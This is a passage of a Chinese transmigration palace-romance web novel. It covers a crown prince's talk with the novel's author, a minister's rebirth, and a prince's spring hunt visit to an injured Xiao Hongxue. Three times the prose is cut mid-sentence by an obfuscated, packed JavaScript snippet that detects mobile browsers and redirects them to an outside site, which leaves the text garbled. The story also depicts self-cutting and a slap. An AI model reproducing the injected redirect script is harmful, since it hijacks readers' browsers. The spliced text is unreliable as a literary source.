“幸福美好的明天是要靠双手奋斗出来的,来都来了,即使抢皇位抢不过位面之子萧鸿雪,也要借现在的身份地位搞个什么诸侯王公当当啊,不然岂不是亏炸了。” “而且,惜啊,在追萧鸿雪这件事上,你可比萧淮流有竞争优势多了。” “哦?”杨惜将脸转了回来,好奇地看着明月,“说说看,优势在?” “你有恋弟癖,他没有,此乃一胜。” “你身体健康,肯定能熬死萧鸿雪那短命的白月光萧淮流,此乃二胜;萧淮流和萧鸿雪在同一个户口本上,绝无可能,此乃胜中之胜。” 杨惜:“……” “我没有恋弟癖。”杨惜沉默了一会儿,反驳道。 “杨忱小时候就老被我欺负,经常跑到家门口外的楼梯上坐着偷偷哭,还不敢哭太大声,怕被我听见又挨揍。等爸妈下班回家了,他立马就变脸告我恶状。” “那你还挺坏的。”明月啧了一声。 “对……不是,我是想说,我要是恋弟我会对弟弟这么穷凶极恶吗?” “但萧鸿雪不是一般的弟弟,”明月停顿了一下,“他是你主人。” 读者id为“萧鸿雪我主人”这六个动态炫彩金字的杨惜再度沉默了。 “算了,不说这个了,”杨惜摆了摆手,转移话题道:“其实我这次来找你,主要是因为我想知道,萧鸿雪和突厥那边有什么联系吗?” “你在《燕武本纪》里没有写过吧,不然我应该不至于毫无印象?”杨惜拨了拨自己的耳饰,一脸迷茫。 “萧鸿雪和突厥使团见的第一面,就和突厥王子干起来了,而且之后状态一直很反常……我从来没见过他这个样子。他好像……很害怕?这种情绪甚至已经强烈到产生躯体化症状了。” “总不可能是因为他长得太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14951650|158769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 美了,被慕容嘉出言调戏后害怕成这样吧?” “就算是我刚穿过来那会儿,萧鸿雪发现自己被萧成亭这位族兄下了药打算强迫,他都没有这么害怕。” 杨惜垂眸,想着当时萧鸿雪在他怀里浑身颤抖,额边渗着细汗,连声轻喘的模样,很是担忧。 “啊?” 明月闻言,眸中划过一丝诧异神色。 “不应该啊……在我的设定里,他和突厥人根本没什么联系。他开局就十五岁,经历过娘亲穆忆被害死、自己又被昭王妃虐待、头次入宫还被太子下药,然后他默默隐忍蛰伏,最后华丽逆袭。” 明月低头沉吟了一会儿,而后抬起头,望着同样蹙眉苦思的杨惜,道:“坏了。” 杨惜:“怎么了?” “听你这么一说,我是真的确定了。这里根本就不是什么《燕武本纪》的小说世界,就是我自小做的那种梦的世界。” “虽然‘系统’在拉我进来之初告诉我,我是来实地体验书中炮灰人生、思考如何改进之前到处都是漏洞的剧情的,”明月眸光闪烁,顿了顿,“但是,除了这种简单的交代,在这之后,无论我怎么试图唤醒它,哪怕是询问有没有什么系统任务、达成什么条件才能回到现世这种问题,它也没有任何反应。” “你那边更是除了一开始打算对萧鸿雪下杀手的时候出现的所谓‘世界规则’,没有任何文字提示。” “我们根本就是被这个‘系统’硬拽进这个世界,然后就不管不顾了。老实说,穿书文我看过很多,这种明明有着‘系统’存在,‘系统’却完全不逼宿主完成任何任务,把人拉进来后就拍拍屁股彻底消失的,我还是头一回见。” “什么体验人生改进剧情,好像只是‘系统’为了把我们拉进来,随便胡扯的一个借口而已。” “我之前和你说过,我只梦到过这个世界的零碎片段,是半猜半想地写出《燕武本纪》的。” “现在看来,只有那些梦中的零碎片段会成为这个世界的‘真实’,我自己创造的那部分小说剧情反倒会误导我们、影响我们在这个世界存活。” 因为一个小小的时间差,差点死在宁国侯府的杨惜对这句话深有体会,面色凝重起来。 “这么说来,小说剧情只能给我们提供一个大方向,碰上具体的事件还是要谨慎仔细地思考的,不能仗着剧情挂无脑上。” “对,就是这个意思。” “我明白了,那就只能把小说抛开,一步一步来吧。” “现在应该是慕容嘉被青楼舞姬毒杀的那段剧情了,这是你梦到的还是自己创造的?” “梦到的,具体细节不清楚,但我隐约记得他是在一座建在江畔的青楼出的事,因为梦里那个青楼舞姬在得手之后,直接从轩窗里跳江了。”明月答道。 “江畔的青楼……那不就是,曲江旁边的醉红楼?”杨惜蓦地想起了自己去平康里询问花钿盒的那日,道:“我知道了,我会派人跟着他,尽量把他保下,不让他在燕土上出事的。” “对了,明月,关于这个萧成亭成长过程中关键一点的事件和人际关系,你了解多少,都告诉我吧?” “无记忆魂穿实在是太容易惹人怀疑了,才穿书二十多天,已经有两个人问我‘你不记得我是谁了?’,真的很惊悚啊。” 杨惜想到自己来见明月时偶然遇见的那个白衣男子,心中隐有些惴惴不安。 他将自己梦到的那个出现在大火里的白发斗篷人、绛真自戕前说的那句没头没尾的“死而复生之人”等悉数告诉了明月。 雨日天光昏暗,明月听得心中一阵发毛,搓了搓两臂上的鸡皮疙瘩。 “虽然我也不清楚背后有什么隐情,但总感觉太诡异了,这萧成亭真是越挖越有。” “这个梦中世界可能要比《燕武本纪》复杂得多,我们做好心理准备吧。” 明月深吸一口气,寻来纸笔,咬着笔杆苦苦思考了一阵,将自己记得的有关萧成亭的一切悉数记录在纸上。 树丛间突然吹来一阵凉风,将未合紧的轩窗吹得嘎吱作响,二人不约而同地抬头看向庭院,天边传来几声闷重的惊雷。 “是春雷啊……” 杨惜走到窗前,喃喃了一句,合上了轩窗。 然后,他走了回来,默默往灯盏中添了些油,不言不语地看着明月写字。 41.故人 白马寺宝殿内,僧人们盘膝而坐,分列在经卷桌旁。 他们随坐在前方的住持一齐诵念经文,那声音宛如松涛般响彻大殿内外,整座大殿在袅袅香雾与亮红摇曳的烛火衬托下显得格外瑰丽壮观。 谢韫奉过香后,拣了个角落处的蒲团阖眼静坐,他听着耳边的梵语,有些出神。 昨日徬晚时,他在宣阳坊谢府大汗淋漓地醒来,神识混沌之际,前世记忆疯涌入脑海。 ——他重生了。 他揉着如被针锥般,传来剧烈疼痛的太阳穴,询问照料自己起居的侍女现在是什么时候。 那侍女有些微诧,但很快答道:“永宁二十七年。” “为时不晚。” 谢韫平静地望着自己铜镜中自己的颜容。 晚饭后,谢韫刚服完镇神安思的药,就提了支湖笔缓缓勾勒起来,将一个青年的面影疏笔淡墨地描画在了宣纸上。 进来收拾药碗的侍女见了,好奇道:“大人,这位是您的哪位故人吗?” 谢韫想了想,点了点头。 “能画得这样细致,想必您和他之间一定情谊甚笃。” 这句话倒叫谢韫愣了愣,没有回答。 情谊甚笃……吗? 谢韫的心情有些复杂。 他清楚地记得,自己分明已经死过一次了,死在养心殿里,死在自己的天子榻上。 可一朝睁眼,他居然带着前世记忆重生了! 他重生回了三十岁这年,这时他仍是谢家的家主、尚书左仆射,这时甚至连睿宗都尚还在位。 而他明白,这场骇人听闻的重生,正是因为那位故人前世对自己的情执所致。 那是个天色阴昏的雨日,谢韫在宗人府那间破败不已的居所之中最后一次见到那位故人。 站在雨中的萧成亭头发蓬乱,已癔癫了似的,痴痴笑着,对他大喊:“谢韫,你选他,不选我!可我哪里比他差?” “我才是大燕的太子,父皇钦定的皇位继承人,你是我的臣,你别想不要我,别想把我踢开。” “就算是死,你也会和我再纠缠一世的!快了,我马上就能和你……” 谢韫当时并不在意他的话,只是神情淡漠地看着当年金尊玉贵、如今却潦倒若疯人的前太子,撑着素伞转身离开了。 可萧成亭不知道做了什么,竟真的做到了让他带着前生记忆重活一世。 所以,与其说是和萧成亭情谊甚笃,倒不如说是因为重生后,萧成亭那日癫笑着说要纠缠自己两世的模样不断在眼前浮现,谢韫才无意识地将他的模样画在了本欲用来练字的宣纸上。 谢韫有些恍惚,叹息了一声,将掌中那支湖笔轻轻地扣在案上。 一阵夜风自轩窗外吹了进来,将那张宣纸卷走了。 被风卷走的宣纸上,那男子的额心,赫然点着一粒小小的、赤红色的朱砂痣。 …… 谢韫回过神,望着眼前垂眉慈悯的菩萨玉像,心中想着方才握住萧成亭手腕时的温热柔腻的触感,怔怔出神。 照理说,萧成亭应该也和自己一样,带着前世记忆重生了才是。 可是为何方才自己与他相见时,他似乎并不认得自己? * 昭王府。 一道声音闷重的惊雷乍然在天边响起。 本在伏案休憩的萧鸿雪被惊得蓦然睁开眼,抬首望向庭院中,暗风将冷雨吹入雕花窗棂,分外寒凉。 “玉……” 萧鸿雪将外氅拢紧,恍了一会儿神,下意识想唤来玉屏询问现在是什么时辰了,但刚刚张唇又瞬间反应过来,他现在身处的并不是碧梧院,而是自己在昭王府的房间。 本来安安静静趴地在萧鸿雪脚边睡觉的锅巴大概也被那雷声吓到了,呜咽一声,直接蹿到了萧鸿雪的怀里,用爪子捂着耳朵,瑟瑟发抖。 萧鸿雪低头望着自己月白色绫裤上那几枚新鲜的泥爪印,沉默了一阵,但也没有直接把锅巴推下去。 感觉到怀里的小犬较之前沉了不少,萧鸿雪抚挲着它颈边那圈油亮的毛发,轻笑一声,“在东宫这些时日,你倒是过得挺滋润的。” 此情此景,教萧鸿雪忽地想起自己刚被太子带回显德殿的那些时日。许是为了“赎罪”,太子对他格外殷勤讨好,每天变着法找理由来见他,一日内要往碧梧院跑上三四趟。 萧鸿雪实在烦于应付他,每次都是把门打开后,面无表情地握着门扇敷衍太子几句,便把门重重合上了。 有一天晚上,也是今日这样的雷雨天气,萧鸿雪正在案前读书时,房门忽地被叩响,几乎是听见敲门声的瞬间,萧鸿雪就蹙着眉,合上书卷去开门了。 因为太子来找他的频率实在太高,他几乎已经能通过敲门声判断来者是谁,如果不去给太子开门,他会持续不断地纠缠下去。 果然,他刚走到门口,就听得太子的声音在门后响起: “阿雉,今夜在打雷,你害怕不害怕?要不要兄长来陪着你?” 这借口真够拙劣的……萧鸿雪在心中冷笑了一声。 他将门打开,面无表情地看着因为一路小跑过来,微微喘着气的杨惜,道:“不怕,不必。” “那——阿雉,是我害怕打雷,你陪陪兄长好不好?” “不好。” “哦,好吧……” 杨惜见萧鸿雪态度坚决,也不敢纠缠太甚,拭了拭落在自己额边的雨珠,兀地勾唇一笑,“其实我不怕打雷,只是怕你不好意思找我陪着你……早些歇息,我明日还会过来。” 灰蒙蒙的雨天里,眼前杨惜的笑容显得分外明亮,萧鸿雪怔了怔,“啪”的一声将门扇关上了。 门外的杨惜见状,无奈地笑了笑,撑着一柄纸伞,默默离去,萧鸿雪从门扇的缝隙中静静地看着他离去的背影。 萧鸿雪回过神,探手抚上自己的唇,不自觉地回忆起那日在林中感受到的,杨惜唇瓣那温暖柔软的触感,心情复杂。 其实,比起事后发现自己在神志恍惚时主动亲了太子,他更在意的是自己最脆弱最不堪的模样被那个半月前还对自己心怀不轨的人毫无保留地看见,他为此感到一种难言的震惊和耻辱。 谁都好,为什么偏偏是他,偏偏被他看见? 在林中清醒过来时,眼前杨惜脸上小心翼翼的安抚笑容让他心脏剧烈地颤动了一下,却又很快与他记忆中许多人的面影蓦然重叠在一起。 萧鸿雪攥紧了指掌,指甲在掌心刮出一排浅淡的白痕。 ……他们都是一样的。 这些人,起先都毫无缘由地对自己百般疼爱呵护,时机一到,便会把自己奉上的千疮百孔的真心践踏得鲜血淋漓。 轻信他人要付出何等惨痛的代价,萧鸿雪实在太明白了。 他从前被骗得太惨太惨,所以他不愿意相信那个总是一副矜贵、傲慢、高高在上的姿态的人。 那个人有一双似乎能轻易看透自己想法的清澈眼眸,他讨厌这种所思所想无所隐藏的感觉,太讨厌了。凭什么这样一个曾经伤害过自己的人,前后会表现得如此割裂?凭什么他可以这样了解自己、包容自己? 太子见过他被主母苛虐的狼狈模样,总是笑意盈盈地靠近他,做一些他意想不到的事情: 他会惦念他的伤口,因为他不喝药而生气,会在他生辰时送上准备许久的贺礼,会在他与突厥使团起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14969388|158769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冲突时挡在他身前,安抚他的情绪,包容他冒犯的行为。 可他越是这样,萧鸿雪就越是羞怒恼恨,想要扒下他的面具,看看背后藏着何等的黑暗丑陋。 他不愿意相信一个初见便对自己下药、拔剑以对的人所谓的“赎罪”,不愿意相信他口中的心疼和喜欢,他想说服自己那只是他生命中出现的又一个虚情假意的骗子。 即使他是真的看不透那个人,不明白他何以拥有那么干净澄澈、让自己瞧不出任何伪装痕迹的笑容。 即使在和萧幼安一起使计暗害他时,想起许多个二人相处的温馨时刻,他亦会犹疑、迷茫、挣扎,但是,这一次,无论如何,他再也不会如此轻易地受骗了。 他迟早会揭露那个人的真面目的。萧鸿雪想。 他转过头,眸光不经意落在案头那把闪闪发亮的银锁上,怔了怔。 因为幼时经历,他从来心思敏感细腻,长于察言观色,故而很轻易就能觉察出,一个人前后矛盾的反常举止。 所以,他有时候是真的很疑惑,月前才亲自给自己下催/情药,见自己激烈反抗又恼羞成怒,对他拔剑相向的人,为何突然对他关心得无微不至,如果只是贪恋美色,为何在他多次试探下仍能坚守底线,甚至在身中惑心花时还能表现得那样单纯。 但,他更疑惑的是,为什么太子将那把银锁从雪地里捡起,准备带走时,他会鬼使神差地跑过去,将锁拿回来。为什么他会忍不住想要靠近那个人,多次因那个人感到安心? 萧鸿雪垂下眸,眸光空洞地凝于空气中的某一点,抚了抚自己右手小指上那道烫疤,自言自语般喃喃了一句:“……好了伤疤忘了疼。” 然后,萧鸿雪摸出袖间的短匕,将衣袖拉至肘部,面无表情地用短匕在自己的右胳臂上划刺了几刀。 颜色惊心刺目的血珠嘀嗒嘀嗒地落下,在他的腕处蓄成一条乌红色的水流。伤处传来一阵异样的痒意,将钝痛盖住,过了许久,他才感受到疼痛。 锅巴在萧鸿雪摸出短匕的那一瞬间就自他膝上跳下,贴着他的腿,不安地绕着他走来走去,低声呜咽。 萧鸿雪凝眸看了一会儿胳臂上狰狞的伤口,转头见锅巴两眼闪着湿濡的泪光,萧鸿雪一愣,移开目光,轻语了一句:“又没划在你身上,哭什么?” 待鲜血涸结成疤后,萧鸿雪平静而熟练地取来绷布为自己包扎。 他刚将盛着绷布的木盒关上,侍女浣莲叩了叩门扉,将一沓衣物和一个沾了些雨水的油纸包搁在了案上。 “少……世子殿下,这是太子殿下送来的。另外,奴婢已经将您明日参加终南山春蒐的衣饰备好了。” “好。”萧鸿雪点了点头。 浣莲朝他屈身一礼,走出房间。 萧鸿雪的眸光落在那捆着油纸包的粉红色的线绳上,沉默了一会儿,还是鬼使神差地解开了线绳,发现其内包着许多颜色粉嫩、形制玲珑的糕饼。 不是送只有小孩子爱吃的饴糖,就是送京中少女最青睐的馥心斋糕饼,这人还真是…… 萧鸿雪无奈地摇了摇头。 他甚至能想象到太子在拣选这些糕饼时脸上的表情。 萧鸿雪随手取了一块看起来没那么甜的白糕送进嘴里,白糕被雨水浸得有些潮软了,倒还算温热。 还是太甜了…… 萧鸿雪被这块长得其貌不扬的白糕甜得直蹙眉,喝了些茶水,取出手巾将唇边的屑渍轻轻拭去。 谁会喜欢吃这样的东西? 腿边的锅巴适时吠叫了两声。 萧鸿雪循声望去,唇边扬起一抹浅淡的笑意,似是心情不错,摸了摸锅巴的脑袋,轻语道:“……不给你。” 42.春猎(一) 杨惜坐在前往终南山春猎的车驾里,倚着车壁阖目养神,他听着耳边窗幔垂纱相磨时窸窣的轻响,思绪飘得很远。 昨夜,他自白马寺回到显德殿后,听着殿外的风雨声,彻夜辗转难眠。 夤夜时分,他从床榻上爬起,蹲在寝殿的火砵前,将在白马寺中明月写给他的一沓宣纸慢慢焚烧。 他望着火砵中飘着纸屑的飞烟,耳畔回响着明月那时所说的话。 “其实,睿宗溺爱萧成亭并不是因为他娘王淑妃,主要是因为萧成亭长得像他早逝的舅舅王洛……” “昔年睿宗只是一个并不受宠的皇子,王洛是朝中意气风发的青年将军,北戎来犯时,二人曾一同迎战,是同生死共患难的知交挚友。” “后来,二人平定戎祸,班师归朝时,在仙霞关遇伏,王洛为了掩护睿宗撤退,死在了仙霞关。” “王洛身后七年,睿宗从吴王到入主东宫。王洛的胞妹,也就是萧成亭的生母王淑妃,因为父亲早逝,又失去了长兄倚仗,竟险些被继母嫁给一位丧妻的年老京官做填房,睿宗听闻后,亲自将她接进了宫中。” “据说,宫内的黄金台里有间密室,其内供养着一青年男子的画像,睿宗每每遇到烦心事时,便会去那间密室里独坐到天明。” “那青年男子就是王洛。” “啊?” 杨惜有些诧异,忽地想起之前饺饵案事起,他主动提起去调查柳贵卿时,睿宗望向他的眼神里,那让他很是不解的怀念情绪。 ……所以,原主他舅是原主他爹的白月光? 还是真正做到“报君黄金台上意,提携玉龙为君死”[1]的那种,难怪睿宗会把王洛的画像供在黄金台里,睹画如睹亡妻。 “对了,我刚穿过来的时候,注意到萧成亭的寝殿里放了许多道籍爻辞,还在犄角旮旯里还翻出了什么画皮教程,他在学道吗?” 明月听他这么一说,一拍脑门,道:“想起来了,还有一件事,萧成亭五岁那年发了场高热,久病不治,后来民间有位跛足道子进宫献药,萧成亭服药后,翌日便大安了。” “睿宗大喜,问那道子要何赏赐,那道子说皇子殿下天资颖悟,颇有道缘,他斗胆想与殿下结个师徒缘分。” “道子将自己的观名告诉了萧成亭,那就是座深山里的没什么名气的野观,萧成亭幼时顽劣,不爱读书,但对学玄法道术一类的倒颇感兴趣,时常前往道观拜访那位道子。” “不过,自他被封为太子后,那道子便不见踪影了。” “萧成亭从那位神秘道子那里学到了多少道法玄术,无从知晓。” 杨惜回过神,手中的宣纸已经焚尽,他将轩窗打开,借着烛火细细打量起铜镜里这副他如今倍感陌生的容颜。 忽有一道雷光在天边闪过—— 镜中的翠绿眼眸倒映着天边的雷光,闪烁了一下,杨惜将手抚上面颊,有些不寒而栗。 除了阴险好色、纨绔无能的脸谱化特质之外,这到底是怎样的一个人呢? 没有人知道。 …… 车驾停了,杨惜自车驾内走出,和贺萦怀一道走进了终南山猎圃。 春猎开始后,睿宗驾着玉饰的御马,一手执着乌嗥名弓,一手挥动缀着珍珠的霓旌。他身边有几位亲王皇子陪乘,侍卫前呼后拥,车骑疾驰,声响如落雷,惊天震地。 睿宗按行军符节注视队伍进退,而后驾马逐渐加速,奔向远方,亲自困猎飞禽、践踏狡兽。 他弓不虚发,箭箭都射裂禽兽的眼眦,或贯穿胸心。然后他率然先去,停鞭登览石阙,身后的众人纷纷展颜欢呼,挥舞着熊虎图案的云旗,而后分散开来,也争先恐后地追逐起猎物。 猎圃内一时车骑众多,遍布陵泽,尤以突厥使团中鹖尾装束的猎手们最为骁勇,为首的王子慕容嘉更是足踏野羊、生擒豹貔,引众人侧目赞叹。 受热闹气氛感染的杨惜也取来箭矢,目光凝于上空,搭弦拉弓,竟也将一对鸧鸹双双从天上射落。 入夜,春猎将停,众人归队而行,队伍中敲起鼍皮鼓,燃起火把。 睿宗登上颢天台,察看百官的猎获、比较所得猎物的多少,然后命人烤炙禽肉分食,设宴于颢天台。 杨惜走下席位,倚着高台阑干,听着耳边金鼓之音、靡丽舞乐交替演奏,眼前柔美窈窕、颔下缠着珠链的舞姬们翩然起舞,裙摆婉曲多姿。 正觉无聊时,忽有个白色的影子快速自他脚边蹿过,他伸手一提拎,一只白毛紫眼的瘦弱山猫在他手上瑟瑟发抖。 “小东西长得还……挺眼熟。” 他笑眯眯地把猫放下,用金刀削了一块烤好的禽肉丢给它,那猫看了他一眼,慢条斯理地将肉吃完,然后当场炸毛哈气,杨惜险些被它挠到。 那山猫见挠人不成,飞快蹿开了。 杨惜:…… 你们猫都这样?! 猫坏。白毛紫眼的猫更是坏得没边儿。 杨惜由这只白毛紫眼的猫联想到了萧鸿雪,环顾了一周,没有看见他,有些疑惑,主动询问一旁司掌筵席的使女。 “前些时日雨久不歇,道路泥泞,春猎路上又人车杂沓,世子殿下所乘车驾在行驶途中不慎撞上了山壁,车驾底部轴木断裂。所幸世子殿下除了跌伤脚踝外,并无大碍,只是无法再参加春猎,一直在帐内休息。”使女答道。 “可知世子殿下的营帐在何处?” 那使女指了个方向。 “多谢。” 杨惜颔首,端着一盘刚炙烤好的禽肉前去探望。 杨惜掀开帐帘时,萧鸿雪正坐在榻上,望着榻顶的纱幔发呆。 “阿雉,你饿不饿?给你带了些吃的,趁热。” 或许是缺乏食欲,萧鸿雪只是倦懒地点点头,算是回应。 杨惜把烤肉放在榻边的几案上,然后顺手拿起桌上的茶杯,润了润酒后干渴的喉咙。 萧鸿雪眼神古怪地看了杨惜一眼,到底没把那句“这杯子是我喝过的”说出口。 “阿雉,你身上有伤,即使没有食欲,也得吃点才行。” 杨惜一边说着,一边走到萧鸿雪身边,准备扶他起来。 “不用,我自己起得来。” 萧鸿雪轻声道,推开杨惜的手,用手肘撑坐了起来,但却并没有接过杨惜递来的碗箸,望了盘中的烤肉一眼,又望了杨惜一眼。 杨惜会意,抄起箸筷就给自己喂了一口,以证明没有额外“加料”。 动作熟练得让人心疼。 萧鸿雪这才接过碗箸,小口小口地吃起肉。他的手像姑娘般白皙娇柔,举筷的动作轻得宛如捻起花瓣,杨惜不由得被那优美的动作深深地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14982765|158769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吸引。 他眸光下移,倏地望见了萧鸿雪袖内缠着的布绷,一顿。 “你的胳膊是怎么伤的?”杨惜坐到榻边,轻轻攥起萧鸿雪的腕骨,语气严厉。 萧鸿雪置若罔闻般,偏过头去,没打算回答。 “本宫记得,本宫之前在显德殿教过你该怎么听话的——还想本宫再教你一次吗?” 杨惜掐住他的下颔,逼他转过脸来和自己对视,语调漫不经心,却有着不容忽视的严厉和强硬。 “摔的。”萧鸿雪看了杨惜的眼睛许久,为了避免麻烦,随口编了个敷衍的理由。 “我看看。” 杨惜不由分说地将萧鸿雪的衣袖撩起,揭开绷布一角辨认伤痕形状。杨惜看见那密密麻麻的伤口后,瞬间反应过来,这根本就不是什么摔伤,分明是他自己一刀刀划的。 “萧鸿雪,你是不是觉得我很好说话?”杨惜怒极反笑,挑起萧鸿雪鬓边的一缕发丝,拢到他耳后。 “我最后问你一次,胳膊怎么伤的?” 杨惜顺势将手向下探去,钳住萧鸿雪的面颊和双唇,这个姿势维持太久,萧鸿雪本来就有些发烧,又呼吸不畅,一时面色泛红,唇齿间溢出丝丝晶莹的津唾。 杨惜见萧鸿雪这副惑人模样,眼神深邃,双颊有些发烫。 “臣弟以为,这是臣弟的私事。” “臣弟的胳膊,臣弟想怎么伤就怎么……” 萧鸿雪话音未落,杨惜气极,狠狠地给了萧鸿雪一巴掌。 “是啊,我们鸿雪世子当然想怎样就怎样,因为你根本就是一个连作践自己的命都不眨眼的疯子——你还在乎什么?” 杨惜冷笑一声,起身走到帐门处,萧鸿雪以为他要就此离去,杨惜却又停住脚步,突然折返,背对着萧鸿雪坐回了榻上。 两个人就这么不言不语地干坐着,互相生闷气,气氛一时陷入了极度的尴尬沉默中。 过了好一晌,杨惜的声音轻轻响起。 “……脚还疼吗?” 音调听上去有些别扭。 萧鸿雪烧得头脑晕晕乎乎的,倚着床框,神情淡漠地瞥了一眼坐在榻边的这个身影,垂眸轻语了一句:“死不了的。” “对不起。”杨惜叹了口气,将身体转过来看着萧鸿雪。 “你在病中,我不该凶你。但是我一看你把自己弄伤就……压不住火气。”杨惜看着萧鸿雪面颊上的红痕,声音很轻。 “痛不痛?” 杨惜小心翼翼地将手探上萧鸿雪的脸庞,抚了抚。 “你要是还生气,就打回来吧,我保证不带躲的。” 萧鸿雪闻言,抬起头看了杨惜一眼,道:“下次吧。” “臣弟现在没力气。”萧鸿雪晃了晃自己绵软无力的手掌,唇角微微勾起。 “下次——下次我可不认了,世子殿下武艺绝伦,要是把我这么周正的一张脸打出什么问题来了,日后娶不回漂亮老婆,你赔我?” 杨惜见萧鸿雪笑了,有些发怔,也回以一笑。 “太子哥哥何须忧心这个,突厥那位王子不是万里迢迢地将佳人送来了么?” 萧鸿雪的语气很平静,落在人耳里却莫名有些酸溜溜的意思。 杨惜没仔细听他这句话,随口嗯了一声,低头将衾被掀开,察看起萧鸿雪脚踝上的伤势。